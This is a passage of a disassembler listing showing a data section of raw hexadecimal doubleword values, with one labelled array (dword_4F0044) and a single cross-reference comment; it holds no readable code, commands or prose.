		dd 0EFAC52BAh, 683F258Ah, 0EB4F1638h, 0B82E3139h, 0C9FEF542h
		dd 15702029h, 0A47FB441h, 35D2FA7Ah, 90108D0Bh,	27223071h
		dd 0BC6061C7h, 3180257Ch, 4FE3E5CDh, 0F11AE108h, 7BB00D9h
		dd 6AA53F46h, 40EBAD93h, 66E8E70Eh, 0C12E3FF2h,	7182AAEFh
		dd 401EBD34h, 4B392EF1h, 95DC80A4h, 424FBC26h, 9E0483BCh
		dd 0EF67BF90h, 0DC29C9C2h, 0B3C60176h, 840E506Ch, 3E73A70Ch
		dd 0E9C118C7h, 8A8005A1h, 0A45E7FBAh, 62BF4A32h, 40578E8Ch
		dd 21468C18h, 41CBB8C2h, 78333DD2h, 0CFA2A052h,	0FA94A5EFh
		dd 2F02BC92h, 0EE5EF284h, 0E98292B3h, 0A8A406BDh, 5695C1B4h
		dd 38F72BA6h, 2C5AB000h, 0FE50665Eh, 585312DDh,	0F69EE200h
		dd 73E780D7h, 0CDC72F49h, 0CF038BD9h, 855BF828h, 0D3C404EAh
		dd 9C540951h, 669430A5h, 14D4B889h, 0F64CCD25h,	0F5FC89D4h
		dd 56D4226Bh, 0C4728304h, 4FB9B3BBh, 0BF52C0E0h, 0C0A0AF5Bh
		dd 0F570C0BEh, 0E8DBB5A9h, 178894BDh, 0F6991533h, 7F4E59B7h
		dd 4EC2B64Eh, 0EFDA5433h, 0B25EB0C4h, 2F83C880h, 1673377Ch
		dd 0BFC3653Bh, 0D247C231h, 0ED5BEF23h, 2CBE007Ch, 8111E00Bh
		dd 26CF76EEh, 42671Bh, 3DF01CDBh, 0EB971DE9h, 77C8B29Bh
		dd 900F9A5Ah, 65116101h, 0A4AC84D8h, 0FB72E8D0h, 0AD35B669h
		dd 0A7129237h, 52EE1955h, 92F9BD6Bh, 0AEB476ECh, 0B445C124h
		dd 8EF4ECB7h, 0E47510D6h, 2B60428h, 27F874ABh, 8E4F1D0Fh
		dd 1690366Eh, 0DABAD789h, 0B5284FFFh, 8F0F20E9h, 93DBFEC5h
		dd 3127CAAFh, 8BA6D8D7h, 757A6801h, 0A163E8EBh,	99BF0AC0h
		dd 985CC254h, 0B45F5A86h, 0A16052Fh, 0C1BFA034h, 4061BC6Eh
		dd 0C12C3530h, 0CD257B7Bh, 804412F1h, 0E007A9D3h, 26BF021Ah
		dd 296F391Eh, 81C0E776h, 711CADF7h, 0EDE09736h,	6E41C80Eh
		dd 4A1F1C82h, 0FB6163D3h, 0C5EA0451h, 1903EB5Fh, 897BCBCDh
		dd 13A84520h, 4D847199h, 9120DC0h, 0D8F5CCC6h, 0D42D9E96h
		dd 0EE357000h, 0A0A2FD83h, 56765A8Bh, 98D15F72h, 888173AFh
		dd 5C097E92h, 0B8A95505h, 5D5AE202h, 0DCF8EAA6h, 72883640h
		dd 59EF1CD5h, 0D258965Ah, 4C55D167h, 98EB0F13h,	0ECD23D33h
		dd 97E98699h, 28B81C47h, 9653DE5Ch, 0FA8C5396h,	0FBAFC8Ch
		dd 37AD755Eh, 55D45F8Bh, 461C5789h, 0BDDAB2D9h,	0E9858847h
		dd 0F8535821h, 103BB85h, 77E4E57h, 10C14B0Ch, 1960B299h
		dd 973E27D1h, 0BFCC6B4Fh, 27A80AB9h, 16D81C92h,	68E4C8E6h
		dd 4317BD2Eh, 8727B6Bh,	0A92C9D0Ch, 5EC7DA09h, 6B51605Fh
		dd 33C4659Eh, 0A5A079E9h, 303A2768h, 186E55D6h,	9DF6E9D3h
		dd 36014689h, 3D1D6208h, 0E0AD4AFBh, 75C3E9A1h,	825DC211h
		dd 0D5317D4Bh, 9320AE66h, 39AA98B8h, 0CA58CF0Eh, 93E15071h
		dd 61E30B18h, 544229E2h, 809C8841h, 442CED67h, 9001478Eh
		dd 8C5516Eh, 98B5006Ch,	542968A1h, 7F0B735Ch, 6790765Ah
		dd 19274295h, 53021DFCh, 5DFB3332h, 0F3688338h,	48E6625Bh
		dd 77597301h, 838A23E9h, 2D43C3A9h, 93FE12D0h, 0B423E8E3h
		dd 256C70C0h, 2D1C1C74h, 0C35CB94h, 1C510CFDh, 0F1771956h
		dd 0F201135Dh, 80FAEBE0h, 0AB77B388h, 0A8A94F68h, 668C898Bh
		dd 0CF4CF10Ch, 0F7E35F41h, 14911057h, 30940500h, 0B735615Fh
		dd 0D35E2E06h, 0E780C701h, 16134730h, 0E352A14Eh, 0E3574F81h
		dd 0F71322BAh, 0A92FA5D6h, 2B20F265h, 0C22A82h,	8B87EE5h
		dd 0EA4D095Dh, 48609783h, 135C53F5h, 2DFA3178h,	88D06A38h
		dd 2F48F1h, 0E1C176DCh,	102C6805h, 0F87AF7C4h, 541506B8h
		dd 497D421Fh, 0F602A8E0h, 5EDC0D5h, 3F504661h, 3A2C3431h
		dd 0E9EB3C3Eh, 0F1F9C02Bh, 575C8A00h, 0FE4E9675h, 0F63EE543h
		dd 0E4D2DF9Eh, 0EB097EC0h, 0A083485Dh, 69AC015Fh, 1C916Bh
		dd 986E16B2h, 2E3125FCh, 19F896A1h, 0B9DCCBC1h,	0C4D3406Bh
		dd 21C91116h, 9A21801h,	18804EF4h, 1DF04345h, 4A5FA0E9h
		dd 90EE1AA5h, 0BF213376h, 459D0CC6h, 0B9E9844Eh, 3B40EAD1h
		dd 0A694E7EEh, 52A8C3BCh, 0AE9DB82Fh, 8132AD4h,	20508EFAh
		dd 2636B0FFh, 830C52EEh, 6205ECAh, 92F3E5D1h, 2C092814h
		dd 75CE3D6h, 49132268h,	0AC7FB757h, 0AE94EEFBh,	2D02B6A6h
		dd 0C8547E1Ah, 187BC584h, 0C53DE41h
dword_4F0044	dd 0A062C46h, 4EDC130h,	0C77A0912h, 9B740B59h, 1FC5717h
					; DATA XREF: ___:00438124o
		dd 74F20192h, 0EC7F4A23h, 0BA9D3861h, 0F5C500D4h, 5F547262h
		dd 0FF159029h, 0FE4AB0E3h, 0E909A2B8h, 3513B2AAh, 3741C5DAh
		dd 66DDDC06h, 3EDC6813h, 0B48108A8h, 60E688D8h,	5AF8F528h
		dd 2DBF46BCh, 87633AC6h, 25E2F3D0h, 0FA1475A1h,	27CF669Fh
		dd 6A1865D4h, 5F8203B2h, 0BA09FE64h, 0FC092DA3h, 2FC220C3h
		dd 1671B3B6h, 0AB835F44h, 0F78D071Fh, 0B95576ECh, 53EE65Bh
		dd 50FA9CBBh, 0B3788DD3h, 4ECAE00Eh, 716E5861h,	6380742Fh
		dd 275693BEh, 2577148h,	0E55D73CEh, 0C4794164h,	780FA27Fh
		dd 0E58D6F5Fh, 26864E5h, 6A0EBA07h, 0F281101Eh,	98306E7Dh
		dd 35600C7Ch, 0E9700D52h, 0E32C554Ah, 3BED50F8h, 18BC2D00h
		dd 5E0536AAh, 7CAF2553h, 180E398Bh, 6BDDF1B2h, 0C8C58687h
		dd 53B86A3h, 62169B8Bh,	0C9570555h, 5C0BC153h, 0DBB0D7D1h
		dd 7A82D5CDh, 41C18255h, 805484EAh, 0F257A4BEh,	3CFFBA5Bh
		dd 9EB4753Dh, 0E0B25B16h, 0E2387B16h, 0E5B8655Ah, 684ACAB8h
		dd 0E29570F9h, 446CDF17h, 53CDFE00h, 0CB8041B3h, 12C3E6DFh
		dd 0B15EE98Ah, 0E7CFA566h, 8EB0B63Eh, 0FE34864Ah, 26EA01EAh
		dd 7B21250Ch, 3CF535A0h, 4BC0EC9h, 8F2EA9CFh, 4A0B0FC1h
		dd 2992FB94h, 5BAE8CBAh, 12774301h, 2609BE56h, 556951D9h
		dd 0FCD85E34h, 2F164B11h, 21128CCAh, 1F62BB57h,	54F9D75Ah
		dd 0B44CD7EBh, 7507C10Ah, 820CC543h, 9EA1758h, 14DC7A72h
		dd 88E2F7h, 355A9208h, 3F50565h, 0E8ABE9A9h, 67AA4E41h
		dd 0B050BBCEh, 0C40F5859h, 9D1EF849h, 0DBE6CB90h, 75DF1A75h
		dd 0E98B7B7Bh, 89BF2E86h, 15D204FDh, 0BF575F03h, 2AA45CF0h
		dd 55188997h, 98EA5F20h, 3B16CF15h, 0D8EFD609h,	5202F65Ch
		dd 0E96D3818h, 197C93Dh, 3D5BE79Eh, 13723F2Ch, 451335AEh
		dd 0E4D3F772h, 6BFBFDEDh, 2EC0E474h, 486546A5h,	0F55B993Bh
		dd 8AF0204Ah, 55782318h, 0B8590224h, 2BE918E0h,	0C5802264h
		dd 0EA7DD070h, 0EEE4CFEDh, 0B96811C0h, 0FA989F72h, 0DBBDF465h
		dd 0B93D4260h, 4FD0C677h, 0BF158452h, 0C4C7A30Fh, 10AC201Eh
		dd 0D0BB1084h, 3A224593h, 4FF714Eh, 0D0BFE027h,	720CAE42h
		dd 6985F095h, 4101064Ah, 0EE3E75A5h, 4D79B81h, 85A13025h
		dd 6F8E4F5Bh, 0E7508B53h, 0D71C6956h, 5B19A0F5h, 90FA92Dh
		dd 0A8E9091Ah, 0F7CEC2h, 0ED0C2BA6h, 6FAB0DBh, 27732E3Dh
		dd 881D301h, 0C9E23B5Dh, 8C40B5CBh, 0F3B5DAF6h,	37B40BB6h
		dd 5848E550h, 7A5B2EB2h, 1B22DBC0h, 0A2405B26h,	50B5C05Eh
		dd 9821017Eh, 3D2CF7E0h, 0F25E634Ah, 50B7177Fh,	4559205Dh
		dd 0A63CF4B5h, 1D6020Ah, 0F27750E1h, 6CBF0A3Bh,	9932C6Ah
		dd 0E8D7CAE0h, 17742589h, 0FA317EDEh, 0F0915304h, 214B010h
		dd 0D83ED804h, 0AFF70C2Eh, 3C9DA40h, 2D193100h,	661F5385h
		dd 0D22C25E9h, 8B0F60F3h, 4190B730h, 0BF9D0FE9h, 38E6B5A2h
		dd 11D98009h, 0A86EAD68h, 0E64CFE1Fh, 0A992C901h, 0E4AD3B56h
		dd 80E77594h, 9FA3F651h, 0E23B2827h, 0AE165F8Ch, 0B71E3EA0h
		dd 122D6880h, 0B7A4728h, 26F0E7EEh, 0B4092304h,	0E1122944h
		dd 0E42330C5h, 0EDC0FD82h, 0FA134ABAh, 62FF8932h, 12FD433Ch
		dd 0E9E7823Dh, 4F7AD0ECh, 421A247h, 0F034440Fh,	902008BBh
		dd 0FEDD109h, 8B58AF46h, 5007D5FAh, 81003901h, 2A2E0883h
		dd 5050CCEh, 0BEC4DF0h,	52E3CB1h, 0C70481AAh, 5B753AA3h
		dd 86B6CA1h, 5C130F39h,	0E2B556A8h, 6850C412h, 3F295821h
		dd 0E9B025ACh, 9A9E97A2h, 0E918147h, 1C3EAA45h,	0A070D36Dh
		dd 10B0F99Dh, 0C400883h, 6EFF8814h, 4BE62998h, 101CA3D4h
		dd 0EB50C1C4h, 3F8A277Dh, 28EBA7Dh, 5661B4B0h, 0AABE5363h
		dd 40D1EAB5h, 0B5CE232Dh, 4B6FA5D6h, 4CC2D4AEh,	0A925685Ch
		dd 9A08183Dh, 673A0675h, 6947DDE9h, 5DA5EA5Fh, 9601042Fh
		dd 0A2A2A8C6h, 0F109757Fh, 6552E5DDh, 5543FA2Dh, 2CC27E9h
		dd 170BF251h, 0E8F41FA6h, 5F20E958h, 0DFD7E2D4h, 2437A048h
		dd 7BD89003h, 57B64E27h, 0DC684FB8h, 0CA2D244Eh, 0A45D10F4h
		dd 2CB7170Dh, 78C3BA2Bh, 150911Fh, 4053F570h, 419D59FFh
		dd 162AF151h, 1145EE8Eh, 30F9947Fh, 0BA38310h, 8244815Bh
		dd 0C2564D54h, 1FE3AF7Bh, 930C6C14h, 0A23F9ACDh, 0CD90D2EEh
		dd 4228633Bh, 0B00D5B58h, 0E83CF6B5h, 9F2EBA4h,	538AE4Ah
		dd 0A4664FE9h, 3EFD8B08h, 0F9B16FACh, 38763D3Fh, 0CC8C9EC8h
		dd 0FD84CBD2h, 0E5A4B5BCh, 41C3310Eh, 7E698E34h, 320D8460h
		dd 2D113C4Dh, 3DA20BE8h, 5AD7F162h, 5FC58F7h, 950975CFh
		dd 183CA62Ah, 0F2950394h, 0DED624A3h, 0F72D0A64h, 8A27BC4Ah
		dd 83B8E8Bh, 0B53544ACh, 0FE3734ABh, 0E84E34B7h, 0F5E2162Dh
		dd 4FC28EFEh, 29412946h, 0AC545832h, 0EA5BD125h, 25B6FAADh
		dd 0D5E2CA9h, 0B3D2E2E4h, 0F8C76C54h, 878BE37Eh, 0CC5559CBh
		dd 512D2A68h, 0D1581776h, 4DB8E5h, 4EF8AC93h, 0DE8037E9h
		dd 2D802E43h, 62338208h, 9AB09377h, 0C1E1993Ch,	81A32B54h
		dd 90112A81h, 52F200Bh,	81B1E92Ch, 6EE28180h, 469555h
		dd 59CABB53h, 0DA317F96h, 0D4015B25h, 0C1F61C0Dh, 0B6E90D60h
		dd 10606D89h, 0F64825A7h, 0A9206105h, 0E80BB0Ah, 0EC098C6Eh
		dd 0F4A81FF6h, 2D93BB9h, 1DA3BE02h, 0BC995B7h, 47CE7431h
		dd 51AF86B6h, 0DBEBC0B3h, 6151C02Bh, 0AB2630ACh, 6D289D5Bh
		dd 724F4C58h, 122DCA4h,	5ED6EFBh, 1321AD93h, 71BF4AE9h
		dd 8AB416F7h, 0A652E09Bh, 0AE4A023Fh, 70E8836Ch, 80D0B79h
		dd 7B82FA13h, 45DF3261h, 72D9A7F6h, 92575669h, 296CB049h
		dd 2525DA77h, 90444427h, 0E1F05E4Fh, 318A2BBBh,	4F121A95h
		dd 8122BA5Ah, 0B8ABE802h, 93A6380Fh, 6203CDCCh,	10A5C66h
		dd 169284B5h, 641C8D08h, 0F85A3148h, 0C201EA29h, 68019511h
		dd 30FC2E2Ch, 0CC343BC2h, 9AC43540h, 48DE6595h,	0CCED00ACh
		dd 0C2014AA0h, 2510E92Ch, 54A7BA80h, 9292A04h, 87585AD6h
		dd 0D1575185h, 7159138Ch, 3E2DBCh, 0E1D63F5h, 97CB7DE9h
		dd 0E25D6C4Ah, 8075C69h, 84BD9FB2h, 0DF96D7ACh,	0FFEA84BBh
		dd 0F7C452A3h, 1082AEF9h, 8EADFBDh, 0BC696560h,	0ACC60180h
		dd 4DC1FA9Dh, 2862D235h, 0F977BAD5h, 0D8BF6032h, 6C5CD303h
		dd 3B3D2FDDh, 865ED98Ch, 0BF47247Eh, 0E9B1C0B2h, 16E13E30h
		dd 2F62292Eh, 504125A1h, 2DC152FBh, 1D25F7FCh, 814AB871h
		dd 886A29E7h, 0EBD77E6Ch, 0FD3ED9F0h, 5AC9057h,	0EB1EEE0Ch
		dd 0B581F829h, 0E532E02h, 9EEE6063h, 0E7EDC72Fh, 0CDA18651h
		dd 0FC0DB6A0h, 3F995195h, 93E28F2Eh, 8C5EBA31h,	5B5F7C89h
		dd 0E37A6B57h, 73BA00BDh, 0B87EE207h, 0D6F6906h, 1900447Fh
		dd 75F6C0E9h, 3AA4DDD8h, 81FD5E93h, 0CAE06A20h,	0B23A16C3h
		dd 0A201FE55h, 1F06E94Ah, 0ADDE29A1h, 35582341h, 4B28680Fh
		dd 0CA0C3959h, 97634670h, 8818A5Ah, 6CF37152h, 0F2291776h
		dd 3B6E8DAEh, 71FA13D2h, 2677887Ah, 68055224h, 58BC5975h
		dd 0C05820C7h, 0CE815E1Eh, 76445602h, 0F8D7E965h, 0A75C4ACBh
		dd 0A58B8AC3h, 1D508F10h, 51B14084h, 0CC04CB90h, 894DC77Fh
		dd 0DCF51C87h, 8FFC99BEh, 69EBB42h, 2EA42C8h, 223F6099h
		dd 5277D3F7h, 0BD10482h, 0EB2D47C3h, 84082156h,	31BC24D9h
		dd 3F24B275h, 0FBEA27B0h, 0E9908FCEh, 5A3261BEh, 492E42Fh
		dd 0A6B5D0Bh, 34378047h
		dd 90231646h, 40BE024Fh, 0FB29A593h, 0A9EB4A1Ch, 0D9E93EFBh
		dd 1CBF02C7h, 634CD127h, 2A0826Bh, 0C2DFD729h, 0ECEC4181h
		dd 0BF7C133Bh, 527F99CCh, 0F90AABC9h, 9F05740h,	76489C0Dh
		dd 0CD6ACF5h, 0CDF10AACh, 96032DB0h, 0E15881AAh, 0ACB32B66h
		dd 0DD895582h, 2F0AE7E1h, 307EDD8Eh, 0B785CD63h, 0DF7AF65Ah
		dd 4CA067ECh, 80809A84h, 300173EEh, 690CA7F6h, 6F94F530h
		dd 0DEB65261h, 0E67EC6F8h, 0F6E21ACEh, 98732D6h, 625C9BDCh
		dd 0DB7DA582h, 2A25255h, 0BC43730h, 6325C29h, 0F135B0Ch
		dd 3E748D04h, 0AA4C01A4h, 0C10CF34h, 3B314108h,	2F8403C0h
		dd 0E8184B02h, 3A066CF4h, 950C00F5h, 0EA893EF3h, 0A3C175E9h
		dd 0D430D2B4h, 0DF0C213Eh, 5F1A93B7h, 5E00E016h, 77087E98h
		dd 54C4BD58h, 0D632C758h, 0B95D3661h, 5AF10800h, 0DAC98012h
		dd 707236FCh, 0E9C85FCFh, 0EE98474h, 296521EFh,	8340EA46h
		dd 0E6B978C1h, 66F83082h, 0C2D9575Bh, 61872400h, 92D3A9E9h
		dd 30459800h, 350ED073h, 0C727F307h, 5F3770E1h,	0ED998909h
		dd 0D8F700C9h, 4B50F048h, 0B548FC45h, 546088C0h, 0A0205B38h
		dd 17164E2Fh, 45FF0D77h, 0AFB25318h, 267EF28Eh,	82EC0CD2h
		dd 9302E8C1h, 2D98FF43h, 0FD27EBEEh, 0EE12D2DAh, 6D34041Dh
		dd 0BD37E938h, 0EF014ECh, 44A28428h, 0F44B0Ah, 58FD773Eh
		dd 9794D5F7h, 2B0ABC03h, 91CDB01Bh, 0F283774h, 66E9D018h
		dd 5EB709A7h, 0E3A8483h, 0CC9991DAh, 44738B54h,	88327148h
		dd 0E2926F1Fh, 305DDBEBh, 6853355Ch, 8C674EBBh,	0DA5A7369h
		dd 6E4CD2B7h, 4A72ED10h, 4514223h, 0E0274DAh, 48B3FC4Dh
		dd 7D65253Fh, 3561FC86h, 5ABEB1FAh, 0C19ED12Dh,	69A4F1E9h
		dd 1F4106Eh, 7079B804h,	2874C10Fh, 137A7D42h, 0C0ADF0ECh
		dd 0E2A3A516h, 688201E9h, 0F2211D6Ch, 96C45260h, 0D245888Eh
		dd 81647C2Dh, 0AB7ED0C2h, 2821F949h, 0E4F15E4Eh, 9616F4E5h
		dd 68917E0Fh, 9ED09C41h, 3771592Dh, 0D0315F61h,	984AF279h
		dd 0D697C168h, 36FAC214h, 0ADBEBA98h, 35B16002h, 0F6D38BE9h
		dd 0B068703Eh, 17A75D54h, 0E28DF75Eh, 0B7F14AE4h, 0EA4250FCh
		dd 0BBAAC359h, 5BE4AECCh, 3837FFD2h, 28E44A3h, 354CF76Dh
		dd 98E112ACh, 0F2984203h, 39A7BF00h, 310D128Ch,	78CAA17Ch
		dd 2C04D3CFh, 68021A3Ah, 9AD51731h, 8CEE57D3h, 0A6BE5600h
		dd 46656E7Eh, 0BAA331E9h, 2EB1BB18h, 0DA29A3C2h, 5099C0Eh
		dd 0AF372FE9h, 78290B29h, 2DB6562Bh, 0F38B827Ch, 26AEE75Eh
		dd 10E9067Eh, 0EB580F07h, 4B7F007Ch, 55D520Fh, 0FA6100D5h
		dd 1FB22D3Bh, 0B0EA42ADh, 60183F16h, 7056C0Ah, 411D53Ah
		dd 0CC7BC11Bh, 0A0B80058h, 9AD244Fh, 9D481760h,	0BB7641C2h
		dd 93B722A2h, 44ACCABEh, 0E91651A6h, 0D9AFB8F6h, 68B21851h
		dd 4F38AF38h, 25B865BAh, 0EC5A84DCh, 89CA5B19h,	0DFFF040Bh
		dd 2020C3DAh, 38F281DAh, 0EF5B693Ch, 0C47A2539h, 0A2B2AFF6h
		dd 64E3BDC9h, 6CEAC9F8h, 0A92E9524h, 0D6F86309h, 0E8DDE956h
		dd 0C7525C33h, 0A70E2962h, 0CEF16916h, 0F428004Ah, 0D5F19CF9h
		dd 0D049EF9Eh, 83D6266Bh, 885C9F2Eh, 9279E950h,	0E24CB772h
		dd 424A30F8h, 4F856CEDh, 0A42FAD09h, 0D00DB3BBh, 183F4881h
		dd 0F12B2A75h, 1E2D13D4h, 4BBBAC7Bh, 5D57F332h,	5124926Ch
		dd 0AA08DE54h, 0E3FE25B9h, 52026F28h, 0E212DBAh, 0B769482Ch
		dd 0A5B5DB6Ch, 93C0BAA0h, 66813FF1h, 772BECBFh,	0BDADB3ADh
		dd 0C874ABCFh, 5077F153h, 1B006C06h, 4A1FDB17h,	0D31EF281h
		dd 0E977F00Fh, 790B9425h, 836805A9h, 0F0299877h, 1D29FD4Eh
		dd 7FBF7D25h, 24A101A5h, 3D40B2E9h, 62D7DE81h, 0E35F3A0h
		dd 1F2E6E5Fh, 0B73D9EA2h, 6DEE99E0h, 30DE730Bh,	54848E29h
		dd 5F581308h, 0ED6E0669h, 0A8D81AD2h, 52625614h, 20586475h
		dd 58956BC6h, 9905031Ah, 0D102381Eh, 6ADEF3C7h,	1BA1E4Ah
		dd 2D531FA5h, 87E16054h, 6FED7E03h, 87239CE9h, 0BB65F509h
		dd 78015E12h, 366A12F9h, 0D6F38BDh, 97FD1EF6h, 1C98E3F0h
		dd 0FE2D095Dh, 0BB5A5B58h, 0FCC044BAh, 0E2EAAAh, 8C074E7Ah
		dd 0B320E9C0h, 0F3810252h, 55A9160Dh, 33BD8D60h, 23D8C125h
		dd 44E199E9h, 9E0BD675h, 0DEF70DFCh, 0AFCB6B04h, 5B40C239h
		dd 94C00191h, 0B74B352Dh, 0D92758D0h, 20D1E42Ch, 50BF56C1h
		dd 0B4502606h, 5E51E58h, 0BCF96858h, 85B2C49Eh,	2EC9BCB1h
		dd 50BBE06Eh, 2C12B000h, 58C23022h, 44B53F51h, 0DC07ED1Ch
		dd 0C5FEC5E5h, 2AAF04F6h, 834007AFh, 242D01E0h,	1BC7265Fh
		dd 9CC10D3h, 5D6B0B68h,	0E339B432h, 1126CF1h, 1CE65B80h
		dd 2F748DE9h, 7B7F12B8h, 92E904D0h, 9357FCD2h, 0E0DD0404h
		dd 0EE1033BBh, 3F9B1CD1h, 0ED24FD8Ah, 0B951419Ah, 0E9198424h
		dd 112B50Ch, 3771AB4Dh,	9BBC2B11h, 5CECCE04h, 17AE828h
		dd 1868356Eh, 123B58E9h, 74D9AF3Fh, 0FF08D86Fh,	48FAC253h
		dd 367718E9h, 1ECCE28Fh, 0CB31AC28h, 516954F3h,	24CAE1E8h
		dd 891D5E50h, 21242077h, 99820213h, 22025D59h, 18F7F987h
		dd 5A91E911h, 37AAD3E6h, 0C28000F4h, 0E0432CBDh, 2E0474D0h
		dd 2D24685Ah, 0B1843079h, 21C78056h, 48C53B22h,	9D5BDD25h
		dd 68C17274h, 62680DE8h, 0C92DEBD6h, 0B5D8E23Fh, 25D75183h
		dd 0C97C2DBAh, 2BCE05A7h, 0EC5DADA0h, 0A3C09A86h, 0D156E992h
		dd 5E279F3Dh, 1361C0E2h, 9A8C7A8Ch, 939E694Dh, 0EB1D80FDh
		dd 48660791h, 6C04CD10h, 0AE40E61Eh, 801B5B1h, 67FCBD55h
		dd 617CA4h, 542F57C5h, 634E917h, 0DF2502B3h, 0E9266034h
		dd 0D18CCF19h, 17D654EBh, 131CED61h, 0CA28099Ah, 0C6E6AE48h
		dd 8E1120BDh, 0C1634E1Dh, 547E8C92h, 41B37277h,	0C5880208h
		dd 552D7976h, 62B9F814h, 6F400628h, 80DB0EB4h, 0EB611FECh
		dd 30E3287Bh, 9C95303Fh, 10CA9BD6h, 0EE91633h, 29BE4440h
		dd 906C7B2Ch, 54F10E87h, 0E6C06053h, 757417C1h,	0E04D4B5h
		dd 0D3C424EEh, 68A4FA50h, 16ED3C80h, 80EC9724h,	0DE2C3CB7h
		dd 474F828h, 0D99D569Ah, 0DBB36097h, 0E916D988h, 0DCBBDAB1h
		dd 0D858819Ch, 3244B594h, 6804AD9Bh, 35F3BB8Dh,	9F0DCD14h
		dd 0FEB41298h, 92BCFAB5h, 9D73509Ah, 0B2520129h, 5AD42878h
		dd 0F9114830h, 79F5A8A2h, 0C3FE4368h, 180043Ah,	28302C46h
		dd 5BD104D8h, 5A684DCCh, 1256D413h, 0FEDEBFB3h,	2089F113h
		dd 0E3131064h, 5D095392h, 0E4A757CEh, 18086E84h, 0EB78D809h
		dd 52DC569Fh, 9C32A5Fh,	7EB8922Fh, 1E80029Eh, 83FA41C5h
		dd 1A809B5Bh, 1CC0B3B6h, 0DC8006E6h, 0A2C6C3FEh, 0CEC1DEF6h
		dd 44EEEC8Dh, 5AF7881Ch, 0AE8FCD4h, 0C8525068h,	0C2A4B562h
		dd 8E06A81Bh, 5025BA1Ch, 0A359EA97h, 460C2DC0h,	0DD2534FBh
		dd 0A7314998h, 34CBB80h, 0B97FA168h, 0AED96BB3h, 0EF006E29h
		dd 174189C1h, 200F8177h, 78907DA6h, 735AFA09h, 4762006Fh
		dd 0BD67907Ah, 6483D1FEh, 0F805377Fh, 2CBC27F6h, 8E4F1B1Fh
		dd 57A0E983h, 1925B4BFh, 3B6D5Ch, 79A71238h, 7A42EF81h
		dd 0EF724B0Eh, 2508EF10h, 9355C5Bh, 0DD513451h,	0C8D0E58Ch
		dd 98C37288h, 0DF5249B7h, 96742D26h, 0CE70B09h,	6800B271h
		dd 0F73D3219h, 243B80D5h, 1F56AE58h, 2B13FEF5h,	0BD845905h
		dd 5E1822EAh, 0C150AC54h, 0CE0561E6h, 702B1669h, 0E910FE24h
		dd 2D384564h, 0EF0B1A96h, 2568218Ch, 0F57963E5h, 549809EBh
		dd 0A5512594h, 61F656E6h
		dd 0D1F7CF74h, 526DC47Ah, 13D3BA04h, 41C0499Bh,	2717035Eh
		dd 3C904A3Ch, 7514F361h, 12A601F1h, 0D6DAD594h,	1E13814Ch
		dd 0E60B40A6h, 6A8A2D9Dh, 7178669Fh, 0F589CEF0h, 0B186402h
		dd 4A8DA980h, 78BF50A7h, 55BB04CBh, 0E1EA112Ah,	0B427408Fh
		dd 7CBFC15Fh, 8D13AB2h,	577A1BF5h, 4116AA32h, 83D6BFCh
		dd 9FAFA3CBh, 1EE1AA93h, 0D20DAD6Ah, 16725687h,	18808041h
		dd 9F471C42h, 0E206DCD2h, 26E97E5Ah, 0C7EA131Eh, 0A3920936h
		dd 0A92D74A0h, 114E1516h, 531687F8h, 7CDC63BCh,	0FE521E89h
		dd 5325507Bh, 0E863926Ah, 0C6714E8Ah, 0C14C41E7h, 262CB854h
		dd 0C4BF70A1h, 0FF30D475h, 0BFC05AE2h, 5A2F528Dh, 0ACB2475Bh
		dd 0AD7150C0h, 4DB8572Ah, 64EBD24Bh, 0F064C2BFh, 13657257h
		dd 0E10864C1h, 2A82ED28h, 55034990h, 79750D68h,	31C94435h
		dd 400178A5h, 34CEBDEh,	3AD2040Eh, 0B2EE7A65h, 0FAE90D69h
		dd 36AA2B2Fh, 6366B72Bh, 0B6B6A4F6h, 123CD02Dh,	1E74360h
		dd 294FEA27h, 2F50E6B4h, 743B091Fh, 2F75F201h, 0C822E1Eh
		dd 22AF3D6Ah, 8F8C3A03h, 4E24F889h, 0BDD1A429h,	6BC45F04h
		dd 0DB80F901h, 4825772Ch, 0F6042A70h, 0C0073766h, 0D64F873Ah
		dd 45010225h, 9E80ADD1h, 1BAE25A2h, 84092898h, 55370A5Bh
		dd 74242290h, 8633DB24h, 122C9002h, 92895732h, 26C82DDh
		dd 436A415Ah, 8250DD29h, 4C110B67h, 0BBA95E4Bh,	13CAD304h
		dd 0E3C12691h, 5AFD9641h, 1753BC64h, 0FF28FFB3h, 0E5805A03h
		dd 0AEC59823h, 0ACD925E9h, 0E2C737E8h, 0E4F76DCDh, 10CFA23Fh
		dd 871C4914h, 0ABD993F3h, 6B6EB80h, 0C18FA084h,	5D2B146Fh
		dd 0DE01A337h, 10D9397h, 72F62FCFh, 1DA61268h, 68A08E3Bh
		dd 8D777924h, 270F4047h, 2A1DF547h, 1C73EAE9h, 40386BDh
		dd 0EF87FD29h, 48E2F85Dh, 6345026Fh, 608915EBh,	967EB3ADh
		dd 16C7E84Bh, 6FF28802h, 15C51602h, 75204AE9h, 0B0FD841Ah
		dd 80ADAAEBh, 0BC80348Bh, 7FA9826Ah, 48CCD87h, 12C1CBF5h
		dd 43E85266h, 7DE9F30Ah, 0FCBB80D2h, 8114CC58h,	11E0E307h
		dd 0EB601F38h, 4C2E5C4Eh, 0FB004D0Ah, 0E94FFCEDh, 0F7D0B11Ah
		dd 0C6C7029Bh, 5C1F445Fh, 0E9585654h, 50D05B38h, 25740AC7h
		dd 39C24993h, 3A61D141h, 0B53CC68Dh, 0BF70AA4Eh, 0B4029CE9h
		dd 0C0706B57h, 7A7EF7B2h, 5B1A2600h, 6003B951h,	0F8D19831h
		dd 63B29CC5h, 3317E2D0h, 556069DEh, 0BFEB28DCh,	84377303h
		dd 58C28503h, 0D9405729h, 57C282DCh, 1D0C3165h,	0EC4954E5h
		dd 9F4F7065h, 0CFE252F6h, 595A03A2h, 19A1E095h,	27E2655Fh
		dd 6D707804h, 6F1CB097h, 27681E40h, 0C0EA5CFBh,	73BFC320h
		dd 34B0153h, 828C8EDh, 20EE13ADh, 319F0B36h, 0E5B5B6D8h
		dd 2478CA2Fh, 5F470232h, 0FBD41ADDh, 0A4B8BA00h, 20E9E522h
		dd 291EA760h, 360C306Ah, 95B89F2Eh, 0BA0528E6h,	33C726FCh
		dd 0C37CE0AFh, 0DD565Bh, 27B2DF7Bh, 0AA324BE9h,	3B9CAD33h
		dd 0E105A87Fh, 0A6440868h, 4EC8B7FBh, 0AB5C1109h, 4E157FD8h
		dd 0C8EF3C16h, 715EE95Ah, 3FBB4801h, 0D640DA04h, 4F75CFF3h
		dd 0E0F6E8D6h, 25360EBBh, 82FD173Fh, 0C9F8EF82h, 0DE20DD22h
		dd 3C49D99h, 0A9343095h, 5318BDFEh, 1C97E7A1h, 2C5E9D0Ch
